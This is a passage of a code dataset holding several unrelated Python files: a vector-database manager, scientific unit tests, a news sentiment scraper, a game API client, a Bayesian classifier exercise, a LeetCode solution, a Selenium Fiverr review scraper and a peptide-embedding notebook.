将数据库中数据加载到内存中\n self.cosine_load()\n print(\"cosine: init success\")\n else:\n raise TypeError(f\"Unsupport compare mode: {cfg.CMP_MODE}\")\n\n def milvus_init(self, db_name: str):\n '''\n collection_name = db_name + \"_\" + algo_name\n '''\n for algo in algo_list:\n if cfg.SYNC_MILVUS == True:\n drop_collection(db_name + \"_\" + algo.value)\n self.cmp_map[algo] = Milvus(db_name + \"_\" + algo.value, get_dim(algo))\n\n def milvus_load(self):\n '''\n 从数据库中查询出所有数据,然后将数据加载到内存中\n '''\n print(\"milvus: select data from mysql\")\n result = DATA_VECTOR.select_all()\n print(\"milvus: select success\")\n print(\"milvus: start load vector to memory\")\n for i, algo in enumerate(algo_list):\n self.cmp_map[algo].insert([result[-1], result[i]])\n print(\"milvus: load success\")\n\n def cosine_init(self, db_name: str):\n for algo in algo_list:\n self.cmp_map[algo] = Cosine(db_name + \"_\" + algo.value, get_dim(algo))\n\n def cosine_load(self):\n '''\n 从数据库中查询出所有数据,然后将数据加载到内存中\n '''\n print(\"cosine: select data from mysql\")\n result = DATA_VECTOR.select_all()\n print(\"cosine: select success\")\n print(\"cosine: start load vector to memory\")\n for i, algo in enumerate(algo_list):\n self.cmp_map[algo].insert([result[-1], result[i]])\n print(\"cosine: load success\")\n\n def insert(self, filename: str, filepath: str, filepath_thumbnail: str, vectors: List[List[float]]):\n # 插入mysql\n id = DATA_VECTOR.insert(\n filename, filepath, filepath_thumbnail, \n vectors[0], vectors[1], vectors[2], vectors[3], vectors[4])\n # 将数据加入向量数据库\n for i, algo in enumerate(algo_list):\n self.cmp_map[algo].insert([[id], [vectors[i]]])\n\n def search(self, algo: AlgoType, vector: List[float], limit: int = 12) -> List[dict]:\n '''\n 不同的向量对比方法得出的score是不一样的,\n milvus中使用L2距离法,因此0为距离最近,最相似\n cosine中使用余弦相似度,取值范围为[-1, 1], 1为最相似\n '''\n # 从向量数据库中找到符合条件的数据id\n scores, indexs = self.cmp_map[algo].search(vector, limit)\n # 根据id查询图片信息并返回\n result = []\n for i, id in enumerate(indexs):\n res = DATA_VECTOR.select_one(id)\n result.append({\n \"id\": id,\n \"score\": float(scores[i]),\n \"filename\": res[0],\n \"filepath\": get_download_url(cfg.FILE_SERVER_URL, res[1]),\n \"filepath_thumbnail\": get_download_url(cfg.FILE_SERVER_URL, res[2]),\n })\n return result\n\n\ndb_m = DBManager()\n","repo_name":"xpanp/retrieval-mf","sub_path":"manage/db_manage.py","file_name":"db_manage.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"53"}
+{"seq_id":"31722652148","text":"\"\"\" Unit tests for fieldkit.measure.\n\n\"\"\"\nimport unittest\nimport numpy as np\nimport fieldkit\n\nclass MeasureTest(unittest.TestCase):\n def test_volume(self):\n \"\"\" Test for domain volume calculation by :py:meth:`~fieldkit.domain.volume`.\n \"\"\"\n mesh = fieldkit.Mesh().from_lattice(N=4, lattice=fieldkit.HOOMDLattice(L=4.0))\n self.assertAlmostEqual(mesh.lattice.volume, 64.)\n\n # 25% covered\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1.\n vol = fieldkit.measure.volume(field, threshold=0.5, N=500000, seed=42)\n self.assertAlmostEqual(vol, 0.25*mesh.lattice.volume, places=1)\n\n # 50% covered\n field[:,:,2] = 1.\n vol = fieldkit.measure.volume(field, threshold=0.5, N=500000, seed=42)\n self.assertAlmostEqual(vol, 0.5*mesh.lattice.volume, places=1)\n\n # 75% covered\n field[:,:,1] = 1.\n vol = fieldkit.measure.volume(field, threshold=0.5, N=500000, seed=42)\n self.assertAlmostEqual(vol, 0.75*mesh.lattice.volume, places=1)\n\n # 100% covered\n field[:,:,3] = 1.\n vol = fieldkit.measure.volume(field, threshold=0.5, N=5e5, seed=42)\n self.assertAlmostEqual(vol, mesh.lattice.volume, places=1)\n\n def test_area(self):\n \"\"\" Test for domain surface triangulation and area calculation.\n \"\"\"\n mesh = fieldkit.Mesh().from_lattice(N=4, lattice=fieldkit.HOOMDLattice(L=4.0))\n self.assertAlmostEqual(mesh.lattice.volume, 64.)\n\n # make a plane in the box\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1.\n surface = fieldkit.measure.triangulate(field, threshold=0.5)\n area = fieldkit.measure.surface_area(surface)\n\n self.assertAlmostEqual(area, 2*mesh.lattice.L[0]*mesh.lattice.L[1])\n\n def test_minkowski(self):\n \"\"\" Test Minkowski functionals for a slab domain with periodic boundaries.\n \"\"\"\n mesh = fieldkit.Mesh().from_lattice(N=2, lattice=fieldkit.HOOMDLattice(L=4.0))\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1\n\n ## check that the right values are computed (reference values determined by hand)\n domain = fieldkit.domain.digitize(field, threshold=0.5)\n V,S,B,chi = fieldkit.measure.minkowski(domain)\n a = 2.0\n self.assertAlmostEqual(V, 4*a**3)\n self.assertAlmostEqual(S, 8*a**2)\n self.assertAlmostEqual(B, 0*a)\n self.assertEqual(chi, 0)\n\n ## ensure an error is rasied for non-cubic lattices\n # orthorhombic without extra mesh points\n mesh = fieldkit.Mesh().from_lattice(N=2, lattice=fieldkit.HOOMDLattice(L=(4.0,6.0,8.0)))\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1\n domain = fieldkit.domain.digitize(field, threshold=0.5)\n with self.assertRaises(ValueError):\n V,S,B,chi = fieldkit.measure.minkowski(domain)\n # triclinic\n mesh = fieldkit.Mesh().from_lattice(N=2, lattice=fieldkit.HOOMDLattice(L=4.0,tilt=[0.5,0.,0.]))\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1\n domain = fieldkit.domain.digitize(field, threshold=0.5)\n with self.assertRaises(ValueError):\n V,S,B,chi = fieldkit.measure.minkowski(domain)\n\n\n def test_sphere(self):\n \"\"\" Test for measuring properties of a sphere\n \"\"\"\n mesh = fieldkit.Mesh().from_lattice(N=32, lattice=fieldkit.HOOMDLattice(L=4.))\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n\n # make a sphere\n R = 1.\n for n in np.ndindex(mesh.shape):\n pt = mesh[n]\n rsq = np.sum((pt-mesh.lattice.L/2)**2)\n if rsq <= R**2:\n field[n] = 1.\n\n # use a loose tolerance due to inaccuracies of meshing and interpolating densities\n volume = fieldkit.measure.volume(field, threshold=0.5, N=5e5, seed=42)\n self.assertAlmostEqual(volume, 4*np.pi*R**3/3, delta=0.1)\n\n # the surface should have a measured area greater than that of sphere\n surface = fieldkit.measure.triangulate(field, threshold=0.5)\n area = fieldkit.measure.surface_area(surface)\n self.assertTrue(area >= 4*np.pi*R**2)\n self.assertAlmostEqual(area, 4*np.pi*R**2, delta=1.)\n","repo_name":"mphoward/fieldkit","sub_path":"fieldkit/test/test_measure.py","file_name":"test_measure.py","file_ext":"py","file_size_in_byte":4406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"36755722810","text":"# -*-coding: utf-8 -*-\n\"\"\"\nauthor: Tongxin Wong\ncreate time: 2020-07-23\nupdate time: 2020-07-23\n\"\"\"\nimport requests\nimport json\nimport time\nimport re\nimport paddlehub as hub\n\n# 返回热点话题使用新浪(comment5评论页面的新闻列表数据channel=sh)的数据\n# 新闻评论情感分析使用新浪评论数前20的社会新闻,获取新闻id后再请求评论数据进行分析\n# 根据分析速度决定是否使用数据库保存已分析好的新闻数据\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'\n}\n\n# 返回热点话题\ndef get_hot_topic():\n # 新浪社会新闻url\n sina_news_url = 'http://comment5.news.sina.com.cn/hotnews/info?format=json&channel=sh&hotid=sh_day'\n sina_response = requests.get(sina_news_url, headers=headers)\n sina_response.encoding = 'GBK'\n json_res = json.loads(sina_response.text)\n hot_topic = []\n # 取出每个新闻数据的hot_count,title和time\n for news in json_res['result']['hotnews']:\n news_info = {}\n news_info['hot_count'] = news['hot_count']\n news_info['title'] = news['title']\n news_info['time'] = news['time']\n hot_topic.append(news_info)\n \n data = {\n 'hot_topic': hot_topic\n }\n return data\n\n# 返回新浪评论数前20的社会新闻,包含newsid\ndef get_top_comments_news():\n # 获取今日日期\n top_time = time.strftime('%Y%m%d', time.localtime())\n # 新浪评论前20社会新闻url\n sina_top_comments_url = 'http://top.news.sina.com.cn/ws/GetTopDataList.php?top_type=day&top_cat=shxwpl&top_time=' + top_time + '&top_show_num=20&top_order=DESC&js_var=news_'\n sina_comments_response = requests.get(sina_top_comments_url, headers = headers)\n # 取出返回内容中的json数据\n json_res = json.loads(sina_comments_response.text[12:-2])\n top_comments_news = []\n # 取出新闻的title和newsid\n for news in json_res['data']:\n news_info = {}\n news_info['title'] = news['title']\n news_info['newsid'] = news['ext5'][3:]\n top_comments_news.append(news_info) \n return top_comments_news\n\n# 对传入的新闻评论列表进行分析得出正负面分类结果\n# 返回值:正面1,中性0,负面-1\ndef comments_sentiment_classify(comments):\n # 加载senta模型 \n senta = hub.Module(name=\"senta_bilstm\")\n probs = 0.\n # 模型输入\n input_content = {}\n # 热评列表\n hot_comments_list = comments['hot_comments']\n # 普通评论列表\n com_comments_list = comments['com_comments']\n # 计算评论数量,将热评数量x2(给予热评更高的权重)\n comments_num = len(hot_comments_list) * 2 + len(com_comments_list)\n # 如果评论数量为0,返回中性结果\n if comments_num == 0:\n return 0\n # 使用senta进行情感分析\n # 只有在有数据时才进行分析\n if len(hot_comments_list) != 0:\n input_content = {'text': hot_comments_list}\n hot_results = senta.sentiment_classify(data=input_content)\n for result in hot_results:\n probs += result['positive_probs'] * 2\n \n if len(com_comments_list) != 0:\n input_content = {'text': com_comments_list}\n com_results = senta.sentiment_classify(data=input_content)\n for result in com_results:\n probs += result['positive_probs']\n \n positive_probs = round(probs / comments_num, 2)\n \n # 根据不同的值返回分类结果\n if positive_probs > 0.55:\n return 1\n elif positive_probs < 0.45:\n return -1\n else:\n return 0\n\n# 对新闻的评论情感分析感知舆情\ndef news_sentiment_classify(top_comments_news): \n # 正面新闻\n pos_news = []\n # 一般新闻(中性)\n neu_news = []\n # 负面新闻\n neg_news = []\n # 评论请求url\n base_url = 'http://comment5.news.sina.com.cn/page/info?format=json&channel=sh&newsid='\n for news in top_comments_news:\n # 根据newsid获取新闻评论\n comments = {}\n # 热评列表\n hot_comments_list = []\n # 普通评论列表\n com_comments_list = []\n newsid = news['newsid']\n comments_url = base_url + newsid\n comments_response = requests.get(comments_url, headers=headers)\n json_res = json.loads(comments_response.text)\n # 取出普通评论和最热评论列表\n hotlist = json_res['result']['hot_list']\n cmntlist = json_res['result']['cmntlist']\n \n for hot_comment in hotlist:\n # 使用正则表达式去除[可爱]等表情\n content = re.sub('\\[.*?\\]', '', hot_comment['content'])\n hot_comments_list.append(content)\n \n for com_comment in cmntlist:\n content = re.sub('\\[.*?\\]', '', com_comment['content'])\n com_comments_list.append(content)\n \n comments['hot_comments'] = hot_comments_list\n comments['com_comments'] = com_comments_list\n # 对新闻评论进行情感分析\n classify_res = comments_sentiment_classify(comments)\n del news['newsid']\n news['comments'] = comments\n \n if classify_res == 1:\n pos_news.append(news)\n elif classify_res == 0:\n neu_news.append(news)\n elif classify_res == -1:\n neg_news.append(news)\n data = {\n 'pos_news': pos_news,\n 'neu_news': neu_news,\n 'neg_news': neg_news\n }\n return data","repo_name":"danmowusheng/training-flask-servers","sub_path":"hot-news/opinion_perception.py","file_name":"opinion_perception.py","file_ext":"py","file_size_in_byte":5552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"32860495211","text":"# -*- coding: utf-8 -*-\nimport requests\n\nURL = \"https://python.gel.ulaval.ca/quoridor/api/\"\n\n\ndef lister_parties(idul):\n\n rep = requests.get(f'{URL}parties/' , params={'idul': f'{idul}'})\n #cas ou la requete se deroule normalement\n if rep.status_code == 200:\n rep = rep.json()\n return rep['parties']\n\n # Soulever Runtime_error et afficher le message contenue dans la cle \"message\" du dico\n if rep.status_code == 406:\n rep = rep.json()\n mess = rep['message']\n raise RuntimeError(f'{mess}')\n\ndef initialiser_partie(idul):\n rep = requests.post(f'{URL}partie/', data={'idul': f'{idul}'})\n if rep.status_code == 200:\n #retourne tupple avec id de la partie et etat initial de la nouvelle partie\n rep = rep.json()\n return (rep['id'], rep['état'])\n # Si erreur 406, le JSON va contenir un message d'erreur\n # Soulever Runtime_error et afficher ce message\n if rep.status_code == 406:\n rep = rep.json()\n mess = rep['message']\n raise RuntimeError(f'{mess}')\n\ndef jouer_coup(id_partie, type_coup, position):\n\n rep = requests.put(f'{URL}jouer/', data={'id': id_partie, 'type': type_coup, 'pos':position})\n if rep.status_code == 200:\n rep = rep.json()\n #La partie se termine et on affiche le nom du gagnant\n winner = rep['gagnant']\n if winner is not None:\n raise StopIteration(f'{winner}')\n #retourne un tupple avec id et etat de la partie\n return (rep['id'], rep['état'])\n\n if rep.status_code == 406:\n rep = rep.json()\n mess = rep['message']\n raise RuntimeError(f'{mess}')\n","repo_name":"anblo74/quoridor-projet-3-antho-loic","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"73709799527","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport pandas as pd\nimport csv\nimport math\n\n\n\n\nclass classes(object):\n \"\"\"docstring for ClassName\"\"\"\n def __init__(self,data,mu,sigma,cov,label):\n self.data = data\n self.mu = mu\n self.sigma=sigma\n self.cov =cov\n self.label= label\ndef read_data():\n data = []\n # TODO: Read the file 'data1.csv' into the variable data.\n # data contains the training data together with labelled classes.\n data= pd.read_csv('data1.csv',header=None)\n return data\n\n\ndef read_test_data():\n test_data = []\n test_data_true = []\n # TODO: Read the file 'test_data.csv' and 'test_data_true.csv' into the variables test_data and test_data_true.\n # test_data contains the unlabelled test class.\n # test_data_true contains the actual classes of the test instances, which you will compare\n # against your predicted classes.\n test_data = pd.read_csv('test_data.csv',header=None)\n test_data = np.array(test_data)\n test_data_true = pd.read_csv('test_data_true.csv',header=None)\n test_data_true=np.array(test_data_true)\n return test_data, test_data_true\n\n\ndef multivariate_normal_gaussian(x, mu, sigma,cov):\n prob = 0\n firstPart= 1/(math.sqrt(2*math.pi)) \n needed = x-mu\n secondPart =1/np.linalg.det(cov)\n firstPart = math.pow(firstPart,int(x.shape[0])) #1goz2\n secondPart = math.sqrt(abs(secondPart)) #2goz2\n thirdPart = np.matmul(np.transpose(needed),np.linalg.inv(cov))\n thirdPart = np.matmul(thirdPart, needed)\n thirdPart = -1/2 * thirdPart\n thirdPart = np.exp(thirdPart)\n prob = (1/(firstPart * secondPart)) * thirdPart\n # TODO: Implement the multivariate normal gaussian distribution with parameters mu and sigma.\n return prob\n\n\ntraining_data = read_data()\ntest_data, test_data_true = read_test_data()\nz=np.array(training_data) \nnumClasses = np.unique(z[:,0])\nprint(numClasses.shape[0])\n\n# TODO: Estimate the parameters of the Gaussian distributions of the given classes.\nC=[]\nfor i in numClasses:\n class1_data = z[z[:,0]==i]\n class1_mu = np.mean(class1_data[:,1:],axis=0)\n class1_sigma = np.sqrt(np.var(class1_data[:,1:],axis=0))\n class1_cov = np.cov(class1_data[:,1],class1_data[:,2])\n C.append(classes(class1_data,class1_mu,class1_sigma,class1_cov,i))\nprint(C)\ncolors = ['r', 'g', 'b', 'c', 'y']\n# TODO: Do a scatter plot for the data, where each class is coloured by the colour corresponding\n# TODO: to its index in the colors array.\n# Class 1 should be coloured in red, Class 2 should be coloured in green and Class 3 should be coloured in blue.\nindex=0\nfor i in C:\n plt.scatter(i.data[:,1],i.data[:,2],c=colors[index])\n index= index+1\nplt.show() \n \n# TODO: Apply the Bayesian Classifier to predict the classes of the test points.\npredicted_classes = np.zeros((test_data_true.shape[0],test_data_true.shape[1]))\nindex=0\nfor test in test_data:\n probArray=dict()\n for c in C:\n probArray[c.label]=multivariate_normal_gaussian(test,c.mu,c.sigma,c.cov)\n predicted_classes[index]=(max(probArray,key=probArray.get)) \n index=index+1\n# TODO: Compute the accuracy of the generated Bayesian classifier.\n \nprint(np.array(predicted_classes).shape)\nprint(test_data_true.shape)\nS= sum(test_data_true==predicted_classes)\naccuracy = S/test_data_true.shape[0]\nprint('Accuracy = ' + str(accuracy*100) + '%')\n\n\n# TODO: Generate a 3D-plot for the generated distributions. x-axis and y-axis represent the features of the data, where\n# TODO: z-axis represent the Gaussian probability at this point.\nx = np.linspace(-10, 10, 300)\ny = np.linspace(-10, 15, 300)\nX, Y = np.meshgrid(x, y)\nZ = np.zeros(X.shape)\n\nclasses = 2\n# TODO: Change this according to the number of classes in the problem.\nfor i in range(Z.shape[0]):\n for j in range(Z.shape[1]):\n for c in C:\n Z[i, j] =Z[i, j]+ multivariate_normal_gaussian(np.array([x[i],y[j]]),c.mu,c.sigma,c.cov)\n \n # TODO: Fill in the matrix Z which will represent the probability distribution of every point.\n\n# Make a 3D plot\nfig = plt.figure()\nax = fig.gca(projection='3d')\nax.plot_surface(X, Y, Z, cmap='viridis', linewidth=0)\nax.set_xlabel('X axis')\nax.set_ylabel('Y axis')\nax.set_zlabel('Z axis')\nplt.show()\n","repo_name":"aosman96/machine-learning-and-pattern","sub_path":"bayes_classificatiom/lab3-1.py","file_name":"lab3-1.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26897066598","text":"from typing import List\nimport collections\n\ndef findItinerary(tickets: List[List[str]]) -> List[str]:\n adj = {u: collections.deque() for u, v in tickets}\n res = [\"JFK\"]\n\n tickets.sort()\n for u, v in tickets:\n adj[u].append(v)\n\n def dfs(cur):\n if len(res) == len(tickets) + 1:\n return True\n if cur not in adj:\n return False\n\n temp = list(adj[cur])\n for v in temp:\n adj[cur].popleft()\n res.append(v)\n if dfs(v):\n return res\n res.pop()\n adj[cur].append(v)\n return False\n\n dfs(\"JFK\")\n return res\n\ntickets = [[\"MUC\",\"LHR\"],[\"JFK\",\"MUC\"],[\"SFO\",\"SJC\"],[\"LHR\",\"SFO\"]]\nprint(findItinerary(tickets))\n\ntickets = [[\"JFK\",\"SFO\"],[\"JFK\",\"ATL\"],[\"SFO\",\"ATL\"],[\"ATL\",\"JFK\"],[\"ATL\",\"SFO\"]]\nprint(findItinerary(tickets))\n\n\"\"\"\nこのコードは、与えられた飛行機のチケットから、すべてのチケットを使ってJFKから開始する行程を再構築する問題のためのものです。この再構築された行程は辞書順で最も小さいものでなければなりません。\n\n**大まかな説明**:\nコードはまず隣接リスト`adj`を作成し、各出発地からの目的地のリストを持ちます。次に、深さ優先探索 (DFS) を使用して、JFKからの行程を再構築します。\n\n**部分毎の説明**:\n\n1. `adj = {u: collections.deque() for u, v in tickets}`:\n - すべての出発空港をキーとして持つ隣接リストを作成します。\n\n2. `res = [\"JFK\"]`:\n - 行程を格納するリスト。最初の空港は常にJFKです。\n\n3. `tickets.sort()`:\n - チケットを辞書順でソートします。これにより、行程が辞書順で最小となるように再構築できます。\n\n4. `for u, v in tickets:`:\n - 各チケットの情報に対してループを回します。\n\n5. `adj[u].append(v)`:\n - 出発地`u`の隣接リストに目的地`v`を追加します。\n\n6. `def dfs(cur):`:\n - 深さ優先探索の関数定義です。この関数は、与えられた出発地`cur`から再構築できる行程を探します。\n\n7. `if len(res) == len(tickets) + 1:`:\n - すべてのチケットが使われ、行程が完成した場合、True���返します。\n\n8. `if cur not in adj:`:\n - 現在の空港が出発地として存在しない場合、Falseを返します。\n\n9. `for v in temp:`:\n - 現在の空港`cur`からのすべての可能な目的地`v`に対してループを回します。\n\n10. `adj[cur].popleft()`:\n - 現在の出発地からの最初の目的地を取り除きます。\n\n11. `res.append(v)`:\n - 行程に目的地を追加します。\n\n12. `if dfs(v):`:\n - その目的地からの行程が完了した場合、現在の行程を返します。\n\n13. `res.pop()`:\n - 行程から最後の空港を取り除きます。\n\n14. `adj[cur].append(v)`:\n - 前に取り除いた目的地を再び隣接リストに追加します。\n\n15. `dfs(\"JFK\")`:\n - JFKからの行程の再構築を開始します。\n\n16. `return res`:\n - 再構築された行程を返します。\n\"\"\"","repo_name":"majikojima/neetcode","sub_path":"12_AdvancedGraphs/04_ReconstructItinerary.py","file_name":"04_ReconstructItinerary.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"404394399","text":"import csv\nimport time\nfrom datetime import datetime\nfrom math import ceil\n\nfrom selenium.webdriver.common.by import By\n\n\ndef login(driver, username, password):\n # Sign in button\n btns = driver.find_elements(By.CSS_SELECTOR, \"a.js-open-popup-login.nav-link\")\n\n if not len(btns):\n print(\"Sign In button not found\")\n return None\n\n btns[0].click()\n time.sleep(2)\n\n # input fields\n input_fields = driver.find_elements(By.CLASS_NAME, \"WvIqLXU\")\n email_field = input_fields[0]\n password_field = input_fields[1]\n\n email_field.click()\n email_fields = email_field.find_elements(By.CSS_SELECTOR, \"input.field-input\")\n email_fields[0].send_keys(username)\n\n time.sleep(2)\n\n password_field.click()\n password_fields = password_field.find_elements(By.CSS_SELECTOR, \"input.field-input\")\n password_fields[0].send_keys(password)\n\n time.sleep(2)\n\n continue_btn_instances = driver.find_elements(By.CSS_SELECTOR, \"button.FW1syM7.L1yjt43.co-white.Kk1804g.OCrkteb\")\n\n if not len(continue_btn_instances):\n print(\"Continue button not found\")\n return None\n\n continue_btn_instances[0].click()\n time.sleep(2)\n\n return \"SUCCESS\"\n\n\ndef click_on_see_more_btn(driver, total_clicks):\n wait_time = 3\n total_wait_time = total_clicks * wait_time\n print(\"Estimated wait time: \", total_wait_time, \" Seconds\")\n see_more_btns = driver.find_elements(By.CLASS_NAME, \"see-more-button\")\n\n if not len(see_more_btns):\n print(\"See More buttons not found\")\n return None\n try:\n for click_number in range(total_clicks):\n total_wait_time -= wait_time\n print(\"Click Number: \", click_number, \" Time left: \", total_wait_time, \" Seconds\")\n see_more_btns[0].click()\n driver.implicitly_wait(10)\n time.sleep(wait_time)\n\n except Exception as ex:\n print(\"ERROR - click_on_see_more_btn: \", ex)\n return None\n\n return \"SUCCESS\"\n\n\ndef export_gig_reviews_data_to_csv(driver, csv_filename):\n headers = ['Username', 'Country', 'Time']\n total_reviews = driver.find_elements(By.CLASS_NAME, \"review-item-component-wrapper\")\n\n if not len(total_reviews):\n print(\"No reviews to export\")\n return None\n\n print(\"Total reviews data to export: \", len(total_reviews))\n with open(f'{csv_filename}.csv', 'w', newline='') as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow(headers)\n\n i = 1\n for review in total_reviews:\n try:\n print(\"Review number: \", i)\n i += 1\n\n review_data = review.text.splitlines()\n if not len(review_data):\n continue\n username = review_data[0]\n if len(username) == 1:\n data = [review_data[1], review_data[2], review_data[4]]\n else:\n data = [review_data[0], review_data[1], review_data[3]]\n csvwriter.writerow(data)\n\n except Exception as ex:\n print(\"ERROR - export_gig_reviews_data_to_csv: \", ex)\n\n return \"SUCCESS\"\n\n\ndef scrap_gig_reviews_data(driver, gig_url):\n driver.get(gig_url)\n\n print(\"PLEASE CLOSE POP UPS IF ANY, YOU HAVE 10 SECONDS\")\n time_range = [i for i in range(0, 11)][::-1]\n\n for item in time_range:\n print(\"TIME LEFT: \", item)\n time.sleep(1)\n\n print(\"TIME OVER, PROCEEDING\")\n\n # Find total reviews\n total_reviews_instance = driver.find_elements(By.CSS_SELECTOR, \"span.rating-count-number\")\n\n if not len(total_reviews_instance):\n print(\"Total reviews not found\")\n return None\n\n total_reviews = int(total_reviews_instance[0].text.splitlines()[0].replace(',', ''))\n\n # Calculate total number of clicks\n total_clicks = ceil(total_reviews/5)\n\n print(\"Total clicks: \", total_clicks)\n\n is_success = click_on_see_more_btn(driver, total_clicks)\n\n if not is_success:\n print(\"All review buttons was not clicked\")\n\n # Export reviews\n csv_filename = f\"{datetime.now()}\".replace(\" \", \"\").replace(\".\", \"\").replace(\":\", \"\")\n print(csv_filename)\n\n is_success = export_gig_reviews_data_to_csv(driver, csv_filename)\n\n if not is_success:\n print(\"All data is not scrapped\")\n\n return \"SUCCESS\"\n","repo_name":"SahilDefault/undetected-chromedriver","sub_path":"fiverr_script/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12454714838","text":"#\n# @lc app=leetcode id=24 lang=python3\n#\n# [24] Swap Nodes in Pairs\n#\n\n# @lc code=start\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def swapPairs(self, head: Optional[ListNode]) -> Optional[ListNode]:\n dummy_head = ListNode(None, head)\n pre = dummy_head\n\n while pre.next and pre.next.next:\n l, r = pre.next, pre.next.next\n next = r.next\n\n pre.next = r\n r.next = l\n l.next = next\n\n pre = l\n return dummy_head.next\n \n def swapPairs1(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if head is None or head.next is None:\n return head\n dummy_head = ListNode(None, head)\n pre = dummy_head\n l = head\n r = head.next\n cur = head.next\n while cur:\n next = cur.next\n if l and r is None:\n r = cur\n r.next = None\n elif l is None and r is None:\n l = cur\n l.next = None\n if r:\n pre.next = r\n r.next = l\n l.next = None\n pre = l\n l, r = None, None\n cur = next\n if l and r:\n pre.next = r\n r.next = l\n l.next = None\n elif l and r is None:\n pre.next = l\n l.next = None\n return dummy_head.next\n# @lc code=end\n\n","repo_name":"Tian-hy/c_leetcode","sub_path":"LeetCode 24 Swap Nodes in Pairs/24.swap-nodes-in-pairs.py","file_name":"24.swap-nodes-in-pairs.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32488990172","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\n\n# In[ ]:\n\n\nget_ipython().system('pip3 install torch==1.2.0+cu92 torchvision==0.4.0+cu92 -f https://download.pytorch.org/whl/torch_stable.html')\n\n\n# In[ ]:\n\n\nimport os\nos.chdir('/content/drive/My Drive/Peptide MHC Project')\n\n\n# In[ ]:\n\n\nimport torch\nimport pandas as pd\nfrom peptide_embedding import * \nfrom MHC_sequence_embedding import *\nimport random\nprint(torch.__version__)\n\n\n# In[ ]:\n\n\n# Load coronavirus peptides\ncorona_df = pd.read_csv('coronavirus/all_corona_peptides.txt', header=None)\ncorona_df.columns = ['peptide']\ncorona_encoding = peptide_encoding(corona_df.squeeze())\n# print(corona_df.squeeze().iloc[:2])\n# print(corona_encoding[:2])\n\n\n# In[ ]:\n\n\n# Generates embeddings of coronavirus peptides\ncorona_embedding_list = []\npretrained_model = torch.load('ssa_L1_100d_lstm3x512_lm_i512_mb64_tau0.5_lambda0.1_p0.05_epoch100.sav')\n\n# TO DO: remove for loop loop bc there are so few peptides\nfor i in range(0,len(corona_encoding),1000):\n corona_embeddings = peptide_embedding(corona_encoding[i:i+1000], 15, pretrained_model)\n corona_embeddings = torch.stack(corona_embeddings)\n corona_embedding_list.append(corona_embeddings)\n print(i)\n\npeptide_tensor = torch.cat(corona_embedding_list, dim=0)\npath = '/content/drive/My Drive/Peptide MHC Project/coronavirus/all_corona_embeddings.pt'\ntorch.save(peptide_tensor, path)\n\n\n# In[ ]:\n\n\n# Gets distribution of peptide lengths\npeptides = corona_df['peptide'].to_list()\nlens = [len(i) for i in peptides]\nunique_lens = []\nfor length in lens:\n if length not in unique_lens:\n unique_lens.append(length)\n\ncounts = {}\nfracs = {}\nfor length in sorted(unique_lens):\n counts[length] = lens.count(length)\n fracs[length] = round(lens.count(length) / len(peptides), 3)\nprint(counts)\nprint(fracs)\n\n\n# In[ ]:\n\n\n# Randomly choose a subset of peptides\nlens = list(range(8, 16))\npeps_by_len = [[] for _ in range(8)]\nfor pep in peptides:\n for length in lens:\n if len(pep) == length:\n peps_by_len[length-8].append(pep)\n\n# More 8-10mers than 11-15mers\nselect = {8: 100, 9: 250, 10: 150, 11: 25, 12: 25, 13: 25, 14: 25, 15: 25}\npeps_subset = []\nfor i in range(8):\n subset = random.choices(peps_by_len[i], k=select[i+8])\n peps_subset.extend(subset)\n\nprint(len(peps_subset))\n\n\n# In[ ]:\n\n\n# Saves \nwith open(\"coronavirus/subset_corona_peptides.txt\", \"w\") as f:\n for pep in peps_subset:\n f.write(pep + '\\n')\n\n# Convert back to pandas\ncorona_subset = pd.Series(peps_subset)\n\n# Encodes each peptide\ncorona_subset_encoding = peptide_encoding(corona_subset)\n\n# Embeds each peptide encoding as a (MaxLen * EmbeddingDim) tensor\npeptide_embedding_list = peptide_embedding(corona_subset_encoding, 15, pretrained_model)\npeptide_embeddings = torch.stack(peptide_embedding_list)\n\n# Save\npath = '/content/drive/My Drive/Peptide MHC Project/coronavirus/subset_corona_embeddings.pt'\ntorch.save(peptide_embeddings, path)\n\n\n# In[ ]:\n\n\n# Embed some MHC alleles\n# Dataset of peptide sequence, MHC allele name, binary binding affinity (positive, negative)\nlink1 = 'https://raw.githubusercontent.com/cmb-chula/MHCSeqNet/master/cleaned_MHC_all_classes.csv'\nx = pd.read_csv(link1)\n\n# Dataset of corresponding amino acid sequence for MHC alleles 